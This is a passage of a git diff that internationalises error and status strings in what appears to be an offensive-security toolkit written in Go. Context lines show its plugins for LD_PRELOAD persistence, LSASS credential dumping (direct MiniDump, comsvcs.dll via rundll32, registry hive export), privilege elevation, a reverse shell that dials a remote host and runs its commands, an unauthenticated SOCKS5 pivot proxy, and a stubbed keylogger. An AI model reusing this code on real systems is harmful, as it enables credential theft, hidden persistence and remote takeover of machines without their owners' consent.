sessi // 检查平台要求 if err := p.checkPlatformRequirements(); err != nil { - output.WriteString(fmt.Sprintf("平台要求检查失败: %v\n", err)) + output.WriteString(i18n.Tr("platform_requirement_failed", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -73,7 +73,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi // 启动键盘记录 err := p.startKeylogging(ctx, outputFile) if err != nil { - output.WriteString(fmt.Sprintf("键盘记录失败: %v\n", err)) + output.WriteString(i18n.Tr("keylogger_failed", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -82,9 +82,9 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi } // 输出结果 - output.WriteString("✓ 键盘记录已完成\n") - output.WriteString(fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))) - output.WriteString(fmt.Sprintf("日志文件: %s\n", outputFile)) + output.WriteString(i18n.GetText("keylogger_done") + "\n") + output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n") + output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n") common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer))) @@ -109,11 +109,11 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string case "darwin": err = p.startDarwinKeylogging(ctx) default: - err = fmt.Errorf("不支持的平台: %s", runtime.GOOS) + err = fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) } if err != nil { - return fmt.Errorf("键盘记录失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("keylogger_failed_plain"), err) } // 保存到文件 @@ -128,7 +128,7 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error { file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) if err != nil { - return fmt.Errorf("无法创建输出文件 %s: %w", outputFile, err) + return fmt.Errorf("%s: %w", i18n.Tr("output_file_create_failed", outputFile), err) } _ = file.Close() return nil @@ -144,7 +144,7 @@ func (p *KeyloggerPlugin) checkPlatformRequirements() error { case "darwin": return p.checkDarwinRequirements() default: - return fmt.Errorf("不支持的平台: %s", runtime.GOOS) + return fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)) } } @@ -170,25 +170,25 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error { file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) if err != nil { - return fmt.Errorf("无法打开输出文件: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err) } defer func() { _ = file.Close() }() // 写入头部信息 - header := "=== 键盘记录日志 ===\n" - header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05")) - header += fmt.Sprintf("平台: %s\n", runtime.GOOS) - header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)) + header := i18n.GetText("keylogger_log_header") + "\n" + header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n" + header += i18n.Tr("local_platform", runtime.GOOS) + "\n" + header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n" header += "========================\n\n" if _, err := file.WriteString(header); err != nil { - return fmt.Errorf("写入头部信息失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err) } // 写入键盘记录 for _, entry := range p.keyBuffer { if _, err := file.WriteString(entry + "\n"); err != nil { - return fmt.Errorf("写入键盘记录失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err) } } @@ -199,7 +199,7 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error { func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { // Windows平台键盘记录实现 // 在实际实现中需要使用Windows API - p.addKeyToBuffer("演示键盘记录 - Windows平台") + p.addKeyToBuffer(i18n.GetText("keylogger_demo_windows")) // 模拟记录一段时间 select { @@ -215,7 +215,7 @@ func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { // Linux平台键盘记录实现 // 在实际实现中需要访问/dev/input/event*设备 - p.addKeyToBuffer("演示键盘记录 - Linux平台") + p.addKeyToBuffer(i18n.GetText("keylogger_demo_linux")) // 模拟记录一段时间 select { @@ -231,7 +231,7 @@ func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { // macOS平台键盘记录实现 // 在实际实现中需要使用Core Graphics框架 - p.addKeyToBuffer("演示键盘记录 - macOS平台") + p.addKeyToBuffer(i18n.GetText("keylogger_demo_darwin")) // 模拟记录一段时间 select { diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go index 2d879c0..911e68e 100644 --- a/plugins/local/ldpreload.go +++ b/plugins/local/ldpreload.go @@ -38,28 +38,28 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi var output strings.Builder if runtime.GOOS != "linux" { - output.WriteString("LD_PRELOAD持久化只支持Linux平台\n") + output.WriteString(i18n.GetText("ldpreload_linux_only") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), } } // 从config获取配置 targetFile := config.PersistenceTargetFile if targetFile == "" { - output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") + output.WriteString(i18n.GetText("persistence_file_required") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("未指定目标文件"), + Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), } } // 检查目标文件是否存在 if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile)) + output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -69,58 +69,58 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi // 检查文件类型 if !p.isValidFile(targetFile) { - output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", targetFile)) + output.WriteString(i18n.Tr("ldpreload_so_required", targetFile) + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("无效文件类型"), + Error: fmt.Errorf("%s", i18n.GetText("invalid_file_type")), } } - output.WriteString("=== LD_PRELOAD持久化 ===\n") - output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("ldpreload_header") + "\n") + output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") var successCount int // 1. 复制文件到系统目录 systemPath, err := p.copyToSystemPath(targetFile) if err != nil { - output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_copy_system_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath)) + output.WriteString(i18n.Tr("file_copied_to", systemPath) + "\n") successCount++ } // 2. 添加到全局环境变量 err = p.addToEnvironment(systemPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_env_add_failed", err) + "\n") } else { - output.WriteString("✓ 已添加到全局环境变量\n") + output.WriteString(i18n.GetText("ldpreload_env_added") + "\n") successCount++ } // 3. 添加到shell配置文件 shellConfigs, err := p.addToShellConfigs(systemPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_shell_add_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", "))) + output.WriteString(i18n.Tr("ldpreload_shell_added", strings.Join(shellConfigs, ", ")) + "\n") successCount++ } // 4. 创建库配置文件 err = p.createLdConfig(systemPath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err)) + output.WriteString(i18n.Tr("ldpreload_config_create_failed", err) + "\n") } else { - output.WriteString("✓ 已创建ld预加载配置\n") + output.WriteString(i18n.GetText("ldpreload_config_created") + "\n") successCount++ } // 输出统计 - output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4)) + output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n") if successCount > 0 { common.LogSuccess(i18n.Tr("ldpreload_success", successCount)) @@ -154,7 +154,7 @@ func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) { } if targetDir == "" { - return "", fmt.Errorf("找不到合适的系统库目录") + return "", fmt.Errorf("%s", i18n.GetText("ldpreload_system_lib_dir_not_found")) } // 生成目标路径 @@ -252,7 +252,7 @@ func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) { } if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何shell配置文件") + return nil, fmt.Errorf("%s", i18n.GetText("ldpreload_shell_config_modify_none")) } return modified, nil diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go index edc14f4..b65c934 100644 --- a/plugins/local/minidump.go +++ b/plugins/local/minidump.go @@ -96,11 +96,11 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio // 检查管理员权限 if !p.isAdmin() { - return &plugins.Result{Success: false, Output: "需要管理员权限\n", Error: errors.New("需要管理员权限")} + return &plugins.Result{Success: false, Output: i18n.GetText("minidump_admin_required") + "\n", Error: errors.New(i18n.GetText("minidump_admin_required"))} } if err := p.loadSystemDLLs(); err != nil { - return &plugins.Result{Success: false, Output: fmt.Sprintf("加载系统DLL失败: %v\n", err), Error: err} + return &plugins.Result{Success: false, Output: i18n.Tr("minidump_load_dll_failed", err) + "\n", Error: err} } defer p.releaseSystemDLLs() @@ -109,39 +109,39 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio // 方式1:直接 MiniDumpWriteDump(无杀软时尝试) if !avActive { - output.WriteString("[*] 尝试直接内存转储...\n") + output.WriteString(i18n.GetText("minidump_try_direct") + "\n") if ok := p.tryDirectDump(ctx, pm, &output); ok { return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } } else { - output.WriteString("[*] 检测到杀软防护,跳过直接dump\n") + output.WriteString(i18n.GetText("minidump_av_skip_direct") + "\n") } // 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截) - output.WriteString("[*] 尝试 comsvcs.dll 方式...\n") + output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n") if ok := p.tryComsvcsDump(pm, &output); ok { return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } // 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS) - output.WriteString("[*] 尝试 reg save 导出注册表...\n") + output.WriteString(i18n.GetText("minidump_try_regsave") + "\n") if ok := p.tryRegSave(&output); ok { return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } - output.WriteString("[!] 所有方式均失败\n") - return &plugins.Result{Success: false, Output: output.String(), Error: errors.New("所有凭据提取方式均失败")} + output.WriteString(i18n.GetText("minidump_all_failed") + "\n") + return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))} } func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool { pid, err := pm.findProcess("lsass.exe") if err != nil { - output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err)) + output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") return false } if privErr := pm.elevatePrivileges(); privErr != nil { - output.WriteString(fmt.Sprintf(" 权限提升失败: %v\n", privErr)) + output.WriteString(i18n.Tr("minidump_privilege_failed", privErr) + "\n") return false } @@ -150,18 +150,18 @@ func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, defer cancel() if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil { - output.WriteString(fmt.Sprintf(" 直接dump失败: %v\n", err)) + output.WriteString(i18n.Tr("minidump_direct_failed", err) + "\n") os.Remove(outputPath) return false } - return p.reportSuccess(output, outputPath, "直接内存转储") + return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct")) } func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool { pid, err := pm.findProcess("lsass.exe") if err != nil { - output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err)) + output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") return false } @@ -171,7 +171,7 @@ func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Buil cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump", fmt.Sprintf("%d", pid), outputPath, "full") if err := cmd.Run(); err != nil { - output.WriteString(fmt.Sprintf(" comsvcs.dll失败: %v\n", err)) + output.WriteString(i18n.Tr("minidump_comsvcs_failed", err) + "\n") return false } @@ -193,12 +193,12 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool { saved++ } } else { - output.WriteString(fmt.Sprintf(" ✗ %s 导出失败\n", hive)) + output.WriteString(i18n.Tr("minidump_hive_export_failed", hive) + "\n") } } if saved == 3 { - output.WriteString("[+] 注册表 hive 导出完成,可用 secretsdump 离线解析\n") + output.WriteString(i18n.GetText("minidump_regsave_done") + "\n") common.LogSuccess(i18n.Tr("minidump_regsave_success")) return true } @@ -210,7 +210,7 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str if err != nil || fi.Size() == 0 { return false } - output.WriteString(fmt.Sprintf("[+] %s成功: %s (%d bytes)\n", method, path, fi.Size())) + output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n") common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size())) return true } @@ -219,17 +219,17 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str func (p *MiniDumpPlugin) loadSystemDLLs() error { kernel32, err := syscall.LoadDLL("kernel32.dll") if err != nil { - return fmt.Errorf("加载 kernel32.dll 失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "kernel32.dll"), err) } dbghelp, err := syscall.LoadDLL("Dbghelp.dll") if err != nil { - return fmt.Errorf("加载 Dbghelp.dll 失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "Dbghelp.dll"), err) } advapi32, err := syscall.LoadDLL("advapi32.dll") if err != nil { - return fmt.Errorf("加载 advapi32.dll 失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "advapi32.dll"), err) } p.kernel32 = kernel32 @@ -285,14 +285,14 @@ func (pm *ProcessManager) findProcess(name string) (uint32, error) { func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot") if err != nil { - return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateToolhelp32Snapshot"), err) } handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) if handle == uintptr(INVALID_HANDLE_VALUE) { lastError := windows.GetLastError() //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError) + return 0, fmt.Errorf(i18n.GetText("minidump_snapshot_create_failed")+": %v (LastError: %d)", err, lastError) } return handle, nil } @@ -304,29 +304,29 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) ( proc32First, err := pm.kernel32.FindProc("Process32FirstW") if err != nil { - return 0, fmt.Errorf("查找Process32FirstW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32FirstW"), err) } proc32Next, err := pm.kernel32.FindProc("Process32NextW") if err != nil { - return 0, fmt.Errorf("查找Process32NextW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32NextW"), err) } lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW") if err != nil { - return 0, fmt.Errorf("查找lstrcmpiW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "lstrcmpiW"), err) } ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) if ret == 0 { //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", windows.GetLastError()) + return 0, fmt.Errorf(i18n.GetText("minidump_first_process_failed")+" (LastError: %d)", windows.GetLastError()) } for { namePtr, err := syscall.UTF16PtrFromString(name) if err != nil { - return 0, fmt.Errorf("转换进程名失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.GetText("minidump_process_name_convert_failed"), err) } ret, _, _ = lstrcmpi.Call( @@ -344,7 +344,7 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) ( } } - return 0, fmt.Errorf("未找到进程: %s", name) + return 0, fmt.Errorf("%s", i18n.Tr("minidump_process_not_found", name)) } // elevatePrivileges 提升权限 @@ -357,7 +357,7 @@ func (pm *ProcessManager) elevatePrivileges() error { var token syscall.Token err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) if err != nil { - return fmt.Errorf("打开进程令牌失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_open_process_token_failed"), err) } defer func() { _ = token.Close() }() @@ -365,7 +365,7 @@ func (pm *ProcessManager) elevatePrivileges() error { privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege") if err != nil { - return fmt.Errorf("转换权限名称失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_privilege_name_convert_failed"), err) } lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") @@ -375,7 +375,7 @@ func (pm *ProcessManager) elevatePrivileges() error { uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), ) if ret == 0 { - return fmt.Errorf("查找特权值失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_lookup_privilege_failed"), err) } tokenPrivileges.PrivilegeCount = 1 @@ -389,7 +389,7 @@ func (pm *ProcessManager) elevatePrivileges() error { 0, 0, 0, ) if ret == 0 { - return fmt.Errorf("调整令牌特权失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_adjust_token_failed"), err) } return nil @@ -400,7 +400,7 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { proc := pm.kernel32.MustFindProc("GetCurrentProcess") handle, _, _ := proc.Call() if handle == 0 { - return 0, fmt.Errorf("获取当前进程句柄失败") + return 0, fmt.Errorf("%s", i18n.GetText("minidump_current_process_failed")) } return syscall.Handle(handle), nil } @@ -417,7 +417,7 @@ func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32 case err := <-resultChan: return err case <-ctx.Done(): - return fmt.Errorf("内存转储超时 (120秒)") + return fmt.Errorf("%s", i18n.GetText("minidump_timeout")) } } @@ -437,7 +437,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump") if err != nil { - return fmt.Errorf("查找MiniDumpWriteDump函数失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "MiniDumpWriteDump"), err) } // 转储类型标志 @@ -480,7 +480,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { if ret == 0 { //nolint:errorlint // Windows LastError不应该wrapped - return fmt.Errorf("写入转储文件失败 (LastError: %d)", windows.GetLastError()) + return fmt.Errorf(i18n.GetText("minidump_write_dump_failed")+" (LastError: %d)", windows.GetLastError()) } } @@ -491,14 +491,14 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { proc, err := pm.kernel32.FindProc("OpenProcess") if err != nil { - return 0, fmt.Errorf("查找OpenProcess函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "OpenProcess"), err) } handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) if handle == 0 { lastError := windows.GetLastError() //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError) + return 0, fmt.Errorf(i18n.GetText("minidump_open_process_failed")+": %v (LastError: %d)", callErr, lastError) } return handle, nil } @@ -512,7 +512,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { createFile, err := pm.kernel32.FindProc("CreateFileW") if err != nil { - return 0, fmt.Errorf("查找CreateFileW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateFileW"), err) } handle, _, callErr := createFile.Call( @@ -527,7 +527,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { if handle == INVALID_HANDLE_VALUE { lastError := windows.GetLastError() //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError) + return 0, fmt.Errorf(i18n.GetText("file_create_failed")+": %v (LastError: %d)", callErr, lastError) } return handle, nil diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go index 3a6e99f..a2ca102 100644 --- a/plugins/local/reverseshell.go +++ b/plugins/local/reverseshell.go @@ -63,14 +63,14 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se port = 4444 } - output.WriteString("=== Go原生反弹Shell ===\n") - output.WriteString(fmt.Sprintf("目标: %s\n", target)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("reverseshell_header") + "\n") + output.WriteString(i18n.Tr("local_target", target) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 启动反弹Shell err = p.startNativeReverseShell(ctx, host, port, state) if err != nil { - output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err)) + output.WriteString(i18n.Tr("reverseshell_error", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -78,7 +78,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } } - output.WriteString("✓ 反弹Shell已完成\n") + output.WriteString(i18n.GetText("reverseshell_done") + "\n") common.LogSuccess(i18n.Tr("reverseshell_complete", target)) return &plugins.Result{ @@ -94,7 +94,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s // 连接到目标 conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port))) if err != nil { - return fmt.Errorf("连接失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err) } defer func() { _ = conn.Close() }() @@ -141,7 +141,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s if errors.As(err, &netErr) && netErr.Timeout() { continue } - return fmt.Errorf("读取命令错误: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("command_read_failed"), err) } // 清理命令 @@ -175,13 +175,13 @@ func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { case "linux", "darwin": cmd = exec.Command("bash", "-c", cmdLine) default: - return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS) + return i18n.Tr("unsupported_os", runtime.GOOS) } // 执行命令并获取输出 output, err := cmd.CombinedOutput() if err != nil { - return fmt.Sprintf("错误: %v\n%s", err, string(output)) + return i18n.Tr("command_error_with_output", err, string(output)) } return string(output) diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go index 9f293c6..fff0a6e 100644 --- a/plugins/local/socks5proxy.go +++ b/plugins/local/socks5proxy.go @@ -47,16 +47,16 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses port = 1080 // 默认端口 } - output.WriteString("=== SOCKS5代理服务器 ===\n") - output.WriteString(fmt.Sprintf("监听端口: %d\n", port)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("socks5_header") + "\n") + output.WriteString(i18n.Tr("local_listen_port", port) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") common.LogInfo(i18n.Tr("socks5_starting", port)) // 启动SOCKS5代理服务器 err := p.startSocks5Server(ctx, port, state) if err != nil { - output.WriteString(fmt.Sprintf("SOCKS5代理服务器错误: %v\n", err)) + output.WriteString(i18n.Tr("socks5_server_error", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -64,7 +64,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses } } - output.WriteString("✓ SOCKS5代理已完成\n") + output.WriteString(i18n.GetText("socks5_done") + "\n") common.LogSuccess(i18n.Tr("socks5_complete", port)) return &plugins.Result{ @@ -80,7 +80,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta // 监听指定端口 listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) if err != nil { - return fmt.Errorf("监听端口失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) } defer func() { _ = listener.Close() }() @@ -164,18 +164,18 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { buffer := make([]byte, 256) n, err := conn.Read(buffer) if err != nil { - return fmt.Errorf("读取握手请求失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) } if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5 - return fmt.Errorf("不支持的SOCKS版本") + return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) } // 发送握手响应(无认证) response := []byte{0x05, 0x00} // 版本5,无认证 _, err = conn.Write(response) if err != nil { - return fmt.Errorf("发送握手响应失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err) } return nil @@ -187,11 +187,11 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, buffer := make([]byte, 256) n, err := clientConn.Read(buffer) if err != nil { - return nil, 0, fmt.Errorf("读取连接请求失败: %w", err) + return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err) } if n < 7 || buffer[0] != 0x05 { - return nil, 0, fmt.Errorf("无效的SOCKS5请求") + return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) } cmd := buffer[1] @@ -199,7 +199,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, // 发送不支持的命令响应 response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("不支持的命令: %d", cmd) + return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_command")+": %d", cmd) } // 解析目标地址 @@ -210,23 +210,23 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, switch addrType { case 0x01: // IPv4 if n < 10 { - return nil, 0, fmt.Errorf("IPv4地址格式错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid")) } targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7]) targetPort = int(buffer[8])<<8 + int(buffer[9]) case 0x03: // 域名 if n < 5 { - return nil, 0, fmt.Errorf("域名格式错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid")) } domainLen := int(buffer[4]) if n < 5+domainLen+2 { - return nil, 0, fmt.Errorf("域名长度错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) } targetHost = string(buffer[5 : 5+domainLen]) targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1]) case 0x04: // IPv6 if n < 22 { - return nil, 0, fmt.Errorf("IPv6地址格式错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid")) } // IPv6地址解析(简化实现) targetHost = net.IP(buffer[4:20]).String() @@ -235,7 +235,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, // 发送不支持的地址类型响应 response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("不支持的地址类型: %d", addrType) + return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType) } // 连接目标服务器 @@ -245,13 +245,13 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, // 发送连接失败响应 response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("连接目标服务器失败: %w", err) + return nil, 0, fmt.Errorf("%s: %w", 